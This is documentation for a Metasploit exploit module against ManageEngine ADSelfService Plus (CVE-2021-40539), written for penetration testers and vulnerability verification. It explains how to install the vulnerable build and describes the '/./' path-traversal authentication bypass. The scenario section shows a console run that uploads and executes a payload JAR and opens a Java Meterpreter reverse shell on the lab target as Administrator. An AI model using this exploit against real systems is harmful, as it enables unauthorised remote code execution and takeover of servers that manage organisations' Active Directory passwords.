## Vulnerable Application

### Setup

Follow the [Getting Started] guide. You do not need AD, and you can skip licensing.

1. Download [ManageEngine_ADSelfService_Plus_64bit.exe]
1. Run the installer
1. Start the server
1. Hax

[Getting Started]: https://www.manageengine.com/products/self-service-password/help/admin-guide/gettingstarted/getting-started.html
[ManageEngine_ADSelfService_Plus_64bit.exe]: https://archives2.manageengine.com/self-service-password/6113/ManageEngine_ADSelfService_Plus_64bit.exe

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Options

### TARGETURI

Path traversal for auth bypass. `/./` is the default.

## Scenarios

### ADSelfService Plus 6113 on Windows Server 2016

```
msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > options

Module options (exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8888             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /./              yes       Path traversal for auth bypass
   VHOST                       no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  [redacted]       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java Dropper


msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > set rhosts 172.16.57.167
rhosts => 172.16.57.167
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > set lhost 172.16.57.1
lhost => 172.16.57.1
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2021_40539) > run

[*] Started reverse TCP handler on 172.16.57.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully bypassed REST API authentication.
[*] Uploading payload JAR: RlBtKpwLfU.jar
[+] Successfully uploaded payload JAR
[*] Executing payload JAR
[*] Sending stage (58082 bytes) to 172.16.57.167
[+] Successfully executed payload JAR
[+] Deleted RlBtKpwLfU.jar
[*] Meterpreter session 1 opened (172.16.57.1:4444 -> 172.16.57.167:64699 ) at 2021-11-24 10:41:43 -0600

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer    : WIN-PRMQDT3BCJI
OS          : Windows Server 2016 10.0 (amd64)
Meterpreter : java/windows
meterpreter >
```
